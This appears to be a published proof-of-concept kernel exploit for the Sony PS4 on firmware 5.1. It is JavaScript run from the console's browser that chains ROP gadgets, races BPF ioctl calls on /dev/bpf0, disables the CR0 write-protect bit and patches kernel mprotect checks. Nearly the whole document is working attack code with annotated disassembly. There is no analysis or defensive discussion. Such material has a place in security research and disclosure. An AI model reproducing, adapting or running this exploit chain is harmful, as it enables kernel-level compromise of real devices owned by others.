Sony Playstation 4 (PS4) 5.1 - Kernel (PoC)

    log("--- trying kernel exploit --");
    function malloc(sz)
    {
        var backing = new Uint8Array(0x10000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x10000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
    
    var spawnthread = function(name, chain) {
        
        /*
         
         
         seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:00000000007FA7D0 55                                      push    rbp
         seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA7D4 41 56                                   push    r14
         seg000:00000000007FA7D6 53                                      push    rbx
         seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
         seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
         
         
         -> xref:
         
         
         seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:00000000007F8395 31 F6                                   xor     esi, esi
         seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
         
         -> code:
         
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
         
         
         decodingWarning -> contains Missing PLTE before tRNS
         
         decodingFailed -> contains longjmp
         
         seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:00000000007FA710 55                                      push    rbp
         seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
         seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:00000000007FA732 0F 0B                                   ud2
         seg000:00000000007FA732                         sub_7FA710      endp
         
         
         */
        var longjmp = window.webKitBase.add32(0x14e8);
        
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController"
         seg000:00000000001DD186 31 F6                                   xor     esi, esi
         seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40
         */
        
        var createThread = window.webKitBase.add32(0x779190);
        
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
        
        var thread2 = new RopChain();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
        
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
        
        var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
        
        window.nogc.push(contextp);
        window.nogc.push(thread2);
        
        return retv;
    }

    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }
    
    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_spray = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 0x800/8)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    var bpf_spray_prog = malloc(0x40);
    p.write8(bpf_spray_prog, 0x800/8)
    p.write8(bpf_spray_prog.add32(8), bpf_spray)
    
    for (var i = 0 ; i < 0x400; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);

    print("okay")
    

    var interrupt1, loop1;
    var interrupt2, loop2;
    var sock = p.syscall(97, 2, 2)
    var kscratch = malloc32(0x100);

    var start1 = spawnthread("GottaGoFast", function(thread2){
                interrupt1 = thread2.ropframeptr;
                thread2.push(window.gadgets["ret"]); // pop rdx
                thread2.push(window.gadgets["ret"]); // pop rdx
                thread2.push(window.gadgets["ret"]); // pop rdx

                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_valid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl

                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                var wherep = thread2.pushSymbolic(); // where
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                var whatp = thread2.pushSymbolic(); // where
                thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write

                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                
                loop1 = thread2.ropframeptr.add32(thread2.count*8);
                thread2.push(0x41414141); // what

                thread2.finalizeSymbolic(wherep, loop1);
                thread2.finalizeSymbolic(whatp, loop1.sub32(8));

                })

    var krop = new RopChain();
    var race = new RopChain();
    var ctxp = malloc32(0x2000);
    var ctxp1 = malloc32(0x2000);

    p.write8(bpf_spray.add32(16), ctxp);

    var prefaultlist = [];
    function pfd(addr)
    {
        var page = addr.add32(0);
        page.low &= 0xffffc000;
        p.syscall("mlock", page, 0x8000);
        p.read4(addr);
        return addr;
    }
    function pf(addr){
        var page = addr.add32(0);
        page.low &= 0xffffc000;
        p.syscall("mlock", page, 0x8000);
        var ret = addr.add32(0);
        while (1)
        {
            var opcode = (p.read4(ret) & 0xff);
            if (opcode == 0xc3)
            {
                prefaultlist.push(ret);
                break;
            }
            ret.add32inplace(1);
        }
        return addr;
    }
    for (var gadgetname in gadgets) {
        if (gadgets.hasOwnProperty(gadgetname)) {
            if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
            pf(gadgets[gadgetname]);
        }
    }
/*
 67d27:    48 8b 07                 mov    (%rdi),%rax
 67d2a:    ff 50 58                 callq  *0x58(%rax)

 12a184d:    48 83 ec 58              sub    $0x58,%rsp
 12a1851:    89 55 d4                 mov    %edx,-0x2c(%rbp)
 12a1854:    49 89 fd                 mov    %rdi,%r13
 12a1857:    49 89 f7                 mov    %rsi,%r15
 12a185a:    49 8b 45 00              mov    0x0(%r13),%rax
 12a185e:    ff 90 d0 07 00 00        callq  *0x7d0(%rax)

 6ef2e5:    48 8b 7f 10              mov    0x10(%rdi),%rdi
 6ef2e9:    ff 20                    jmpq   *(%rax)

 2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
 2728a5:    ff 50 40                 callq  *0x40(%rax)
 
 12846b4:    48 8b 77 08              mov    0x8(%rdi),%rsi
 12846b8:    48 8b 7f 18              mov    0x18(%rdi),%rdi
 12846bc:    48 8b 07                 mov    (%rdi),%rax
 12846bf:    ff 50 30                 callq  *0x30(%rax)

 15ca29b:    48 8b 97 b0 00 00 00     mov    0xb0(%rdi),%rdx
 15ca2a2:    ff 57 70                 callq  *0x70(%rdi)

 f094a:    48 89 e5                 mov    %rsp,%rbp
 f094d:    48 8b 07                 mov    (%rdi),%rax
 f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
*/
    var ctxp2 = malloc32(0x2000);

    var wk2apf = function(off)
    {
        var addr = window.webKitBase.add32(off);
        pf(addr);
        return addr;
    }

    p.write8(ctxp.add32(0x50), 0);
    p.write8(ctxp.add32(0x68), ctxp1);
    var stackshift_from_retaddr = 0;
    p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
    stackshift_from_retaddr += 8 + 0x58; // call + sub
    p.write8(ctxp.add32(0), ctxp2);
    p.write8(ctxp.add32(0x10), ctxp2.add32(8));

    p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))

    // rax = ctxp2, rdi = ctxp2 + 8
    var iterbase = ctxp2;
    
    for (var i=0; i<0xf; i++)
    {
        p.write8(iterbase, wk2apf(0x12a184d))
        stackshift_from_retaddr += 8 + 0x58; // call + sub
        // rax = ctxp2+0x20
        p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
        p.write8(iterbase.add32(8), iterbase.add32(0x20));
        p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
        iterbase = iterbase.add32(0x20);
    }

    var raxbase = iterbase;
    var rdibase = iterbase.add32(8);
    var memcpy = get_jmptgt(webKitBase.add32(0xf8));
    memcpy = p.read8(memcpy);
    pf(memcpy);
    
    p.write8(raxbase, wk2apf(0x15ca29b))
    stackshift_from_retaddr += 8; // call + sub
    p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget
    stackshift_from_retaddr += 8; // call + sub
    p.write8(rdibase.add32(0x18), rdibase); // rdi
    p.write8(rdibase.add32(8), krop.ropframeptr); // rax
    p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget
    p.write8(rdibase, raxbase);
    p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget
    p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog)
    var topofchain = stackshift_from_retaddr + 0x28 ;
    p.write8(rdibase.add32(0xb0), topofchain); // rdx
    for (var i = 0; i < 0x1000/8; i++)
    {
        p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
    }
    krop.count = 0x10;
    /*
     f094a:    48 89 e5                 mov    %rsp,%rbp
     f094d:    48 8b 07                 mov    (%rdi),%rax
     f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
     
     2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
     2728a5:    ff 50 40                 callq  *0x40(%rax)
     
     55566f:    48 01 c7                 add    %rax,%rdi
     555672:    48 89 f8                 mov    %rdi,%rax
     555675:    c3                       retq
     
     46ef9:    48 8b 07                 mov    (%rdi),%rax
     46efc:    c3                       retq
     
     1520c6:    48 01 f0                 add    %rsi,%rax
     1520c9:    c3                       retq
     
     14536b:    48 89 07                 mov    %rax,(%rdi)
     14536e:    c3                       retq
     
     1570a1f:    48 21 f0                 and    %rsi,%rax
     1570a22:    c3                       retq
     
     353a71:    48 89 c2                 mov    %rax,%rdx
     353a74:    c3                       retq
     
     1cee60:    48 89 d0                 mov    %rdx,%rax
     1cee63:    c3                       retq
     
     15a3faf:    48 89 c7                 mov    %rax,%rdi
     15a3fb2:    c3                       retq
     
     6c83a:    48 8b 00                 mov    (%rax),%rax
     6c83d:    c3                       retq
     
     295dbe:    ff e7                    jmpq   *%rdi

     */
    p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
    p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
    p.write8(kscratch.add32(0x18), kscratch);

    function set_rdi_rbpoff() {
    krop.push(window.gadgets["pop rdi"]); // pop rdi
    krop.push(kscratch.add32(0x18)); // what
    
    krop.push(wk2apf(0xf094a)); // rbp = rsp
    var rbp_off = topofchain - krop.count*8 + 0x28;
    krop.push(wk2apf(0x2728a1)); // rbp = rsp
    
        return rbp_off;
    }
    
    function add_to_rdi(imm)
    {
        krop.push(window.gadgets["pop rax"]); // pop rdi
        krop.push(imm); // what
        krop.push(wk2apf(0x55566f)); // rbp = rsp

    }
    
    var rboff = set_rdi_rbpoff();
    add_to_rdi(rboff);
    
    var add_rax = function(imm)
    {
        krop.push(window.gadgets["pop rsi"]); // pop rsi
        krop.push(imm); // what
        krop.push(wk2apf(0x1520c6)); // add rsi to rax
    }

    
    krop.push(wk2apf(0x46ef9)); // deref rdi in rax
    add_rax(0x2fa); // what
    krop.push(wk2apf(0x14536b)); // write rax to rdi

    var shellbuf = malloc32(0x1000);
    
    
    var write_rax = function(addr)
    {
        krop.push(window.gadgets["pop rdi"]); // pop rdi
        krop.push(addr); // what
        krop.push(wk2apf(0x14536b)); // write rax to rdi
    }
    
    var load_rax = function(addr)
    {
        krop.push(window.gadgets["pop rax"]); // pop rax
        krop.push(addr); // what
        krop.push(wk2apf(0x6c83a)); // deref rax
    }
    
    var and_rax = function(imm)
    {
        krop.push(window.gadgets["pop rsi"]); // pop rdi
        krop.push(imm); // what
        krop.push(wk2apf(0x1570a1f)); // and rax to rdi
    }
    
    var rax_to_rdx = function()
    {
        krop.push(wk2apf(0x353a71)); // rax to rdx
    }
    var rdx_to_rax = function()
    {
        krop.push(wk2apf(0x1cee60)); // rdx to rax
    }
    var rax_to_rdi = function()
    {
        krop.push(wk2apf(0x15a3faf)); // rax to rdi
    }
    var write_to_rax64 = function(imm)
    {
        krop.push(window.gadgets["pop rsi"]); // pop rdi
        krop.push(imm); // what
        krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi
    }
    write_rax(kscratch); // save address in usermode
    add_rax(0xc54b4)
    write_rax(kscratch.add32(8)); // save address
    krop.push(wk2apf(0x82)); // jmp rax
    write_rax(kscratch.add32(16)); // save cr0
    and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit
    rax_to_rdx();
    load_rax(kscratch.add32(8))
    add_rax(9)
    rax_to_rdi();
    rdx_to_rax();
    krop.push(wk2apf(0x295dbe)); // jmp rdi
    
    /*
     Write Anywhere mode
     */
    
    load_rax(kscratch);
    add_rax(0x3609a);
    krop.push(wk2apf(0x6c83a)); // deref rax
    write_rax(kscratch.add32(0x330)); // rando offset lol

	
// put patches here. example is mprotect patch 

    load_rax(kscratch);
    add_rax(0x3609a);
    write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect
    
    
    /*
     Disable Write Anywhere mode
     */

    load_rax(kscratch.add32(8))
    add_rax(9)
    rax_to_rdi();
    load_rax(kscratch.add32(16))
    krop.push(wk2apf(0x295dbe)); // jmp rdi

    krop.push(wk2apf(0x5cdb9));
    krop.push(kscratch.add32(0x1000));